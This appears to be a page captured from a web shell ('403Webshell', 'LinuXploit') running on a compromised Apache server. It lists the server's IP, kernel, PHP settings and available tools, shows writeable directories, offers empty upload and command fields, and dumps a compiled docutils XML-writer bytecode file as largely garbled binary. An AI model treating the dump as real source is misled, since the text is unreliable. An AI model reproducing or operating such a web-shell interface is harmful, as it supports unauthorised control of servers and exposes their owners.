403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/docutils/writers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/docutils/writers/__pycache__/docutils_xml.cpython-311.pyc
�

N=&b�����dZdZddlmZddlZddlZddlmZmZm	Z	Gd�dej
��ZGd�d	ej��ZGd
�de	j
��ZGd�d
ejjj��ZdS)zv
Simple document tree Writer, writes Docutils XML according to
https://docutils.sourceforge.io/docs/ref/docutils.dtd.
�reStructuredText�)�StringION)�frontend�writers�nodesc��eZdZdS)�RawXmlErrorN)�__name__�
__module__�__qualname__���?/usr/lib/python3/dist-packages/docutils/writers/docutils_xml.pyr	r	s�������Drr	c��eZdZdZ	ddddgdejd�fdd	gdejd�fd
dgdd
dejd�fddgdd
dejd�fffZddiZdZdZ	dZ
	d�Zd�ZdS)�Writer)�xmlz"Docutils XML" Writer OptionsNz1Generate XML with newlines before and after tags.z
--newlines�
store_true)�action�	validatorz'Generate XML with indents and newlines.z	--indentsz,Omit the XML declaration.  Use with caution.z--no-xml-declaration�xml_declaration��store_false)�dest�defaultrrzOmit the DOCTYPE declaration.z--no-doctype�doctype_declaration�output_encoding_error_handler�xmlcharrefreplacezdocutils_xml writer)rc�\�tj�|��t|_dS�N)rr�__init__�
XMLTranslator�translator_class)�selfs rr zWriter.__init__7s&�������%�%�%� -����rc��|�|j��x|_}|j�|��d�|j��|_dS)N�)r"�document�visitor�	walkabout�join�output)r#r's  r�	translatezWriter.translate;sM��!%�!6�!6�t�}�!E�!E�E���w��
����(�(�(��g�g�g�n�-�-����r)
r
rr�	supportedr�validate_boolean�
settings_spec�settings_defaults�config_section�config_section_dependenciesr*r r+r
rrrrs��������I�'�	(��
=��.�!��0I�
J�
J�
L�4��-�!��0I�
J�
J�
L�9�!�
"�$��m� �1�3�3�
4�*��
�(�Q�"��1J�L�L�
M�
	O�P�M�$9�:M�N��*�N�".��
�F�.�.�.�.�.�.�.�.�.rrc���eZdZdZdZdZej���Z		e	�
dd��d�Zej
ejejejfZd�Zd�Zd	�Zd
�Zd�ZdS)
r!z$<?xml version="1.0" encoding="%s"?>
z�<!DOCTYPE document PUBLIC "+//IDN docutils.sourceforge.net//DTD Docutils Generic//EN//XML" "http://docutils.sourceforge.net/docs/ref/docutils.dtd">
z"<!-- Generated by Docutils %s -->
z5http://xml.org/sax/features/external-general-entitiesTc��tj�||��|jjj|_|jjj|_|jx|_}dx|_	|_
|jrd|_
|jrd|_
d|_	d|_
d|_d|_g|_|jr'|j�|j|jz��|jr|j�|j��|j�|jt.jz��t3��|_|j�|j��dS)Nr%�
z    r)r�NodeVisitorr r&�reporter�warning�warn�error�settings�indent�newline�newlines�indents�level�	in_simple�
fixed_textr*r�append�output_encodingr�doctype�	generator�docutils�__version__�TestXml�
the_handle�	xmlparser�setContentHandler)r#r&r:s   rr zXMLTranslator.__init__QsH��
��"�"�4��2�2�2��M�*�2��	��]�+�1��
�$,�#4�4��
��%'�'���d�l���	 ��D�L���	!��D�L� �D�K���
�����������#�	A��K����$�x�'?�?�
A�
A�
A��'�	-��K���t�|�,�,�,�����4�>�H�,@�@�A�A�A�"�)�)�����(�(���9�9�9�9�9rc�
�|js'|j�|j|jz��|j�|�tjjj	����|xjdz
c_t|tjtj
f��r|xjdz
c_t||j��r|xjdz
c_|js!|j�|j��dSdS)zDefault node visit method.rN)r@r*rBr;r?�starttagr�sax�saxutils�	quoteattr�
isinstancer�FixedTextElement�literalrA�simple_nodesr<�r#�nodes  r�
default_visitzXMLTranslator.default_visitws����~�	7��K���t�{�4�:�5�6�6�6�����4�=�=���)9�)C�D�D�E�E�E��
�
�a��
�
��d�U�3�U�]�C�D�D�	!��O�O�q� �O�O��d�D�-�.�.�	 ��N�N�a��N�N��~�	-��K���t�|�,�,�,�,�,�	-�	-rc���|xjdzc_|js'|j�|j|jz��|j�|�����t
|tjtj	f��r|xj
dzc_
t
||j��r|xjdzc_|js!|j�|j��dSdS)zDefault node depart method.rN)
r?r@r*rBr;�endtagrQrrRrSrArTr<rUs  r�default_departurezXMLTranslator.default_departure�s����
�
�a��
�
��~�	7��K���t�{�4�:�5�6�6�6�����4�;�;�=�=�)�)�)��d�U�3�U�]�C�D�D�	!��O�O�q� �O�O��d�D�-�.�.�	 ��N�N�a��N�N��~�	-��K���t�|�,�,�,�,�,�	-�	-rc��tjj�|�����}|js&|�dd|j|jzz��}|j	�
|��dS)Nr4)rrNrO�escape�astextrA�replacer;r?r*rB)r#rV�texts   r�
visit_TextzXMLTranslator.visit_Text�sj���w��&�&�t�{�{�}�}�5�5����	C��<�<��d�4�;�t�z�+A�&A�B�B�D�����4� � � � � rc��dSrr
rUs  r�depart_TextzXMLTranslator.depart_Text�s���rc�$�d|�dd�����vr|�|��dS|�|��|���}|j�|��|�|��	|j�t|����n�#tjjj
$r�|jj���}|jj���}|j}t'|jt*j��s|dz
}d|||���fz}|�||j||zdz
���YnwxYwt*j�)Nr�formatr%�z0Invalid raw XML in column %d, line offset %d:
%sr)�source�line)�get�splitrWr]r*rBrZrJ�parserrrN�_exceptions�SAXParseExceptionrI�locator�getColumnNumber�
getLineNumberrgrQ�parentr�TextElementr8rf�SkipNode)r#rV�
xml_string�col_num�line_num�srcline�msgs       r�	visit_rawzXMLTranslator.visit_raw�s��������2�.�.�4�4�6�6�6�6�
���t�$�$�$��F����4� � � ��[�[�]�]�
�����:�&�&�&����t�$�$�$�
	H��N� � ��*�!5�!5�6�6�6�6���w�"�4�	H�	H�	H��o�-�=�=�?�?�G���.�<�<�>�>�H��i�G��d�k�5�+<�=�=�
��1���E��H�d�k�k�m�m�I5�5�C��I�I�c�$�+�G�H�4D�Q�4F�I�G�G�G�G�G�	H�����n�s�'C�B=F�FN)r
rrrrDrErrN�make_parserrJ�
setFeaturer rrq�image�colspec�
transitionrTrWrZr`rbrxr
rrr!r!As�������=�O�	F��6�I���#�#�%�%�I�7�
���?��G�G�G�:�:�:�F�%��K����0@�B�L�-�-�-�-�-�-� !�!�!�
�
�
�����rr!c��eZdZd�ZdS)rHc��||_dSr)rm)r#rms  r�setDocumentLocatorzTestXml.setDocumentLocator�s
������rN)r
rrr�r
rrrHrH�s#����������rrH)�__doc__�
__docformat__�ior�xml.sax.saxutilsrrFrrr�ApplicationErrorr	r�GenericNodeVisitorr!rN�handler�ContentHandlerrHr
rr�<module>r�s&����
#�
���������������-�-�-�-�-�-�-�-�-�-�	�	�	�	�	�(�+�	�	�	�&.�&.�&.�&.�&.�W�^�&.�&.�&.�Ru�u�u�u�u�E�,�u�u�u�p�����c�g�o�,�����r

Youez - 2016 - github.com/yon3zu
LinuXploit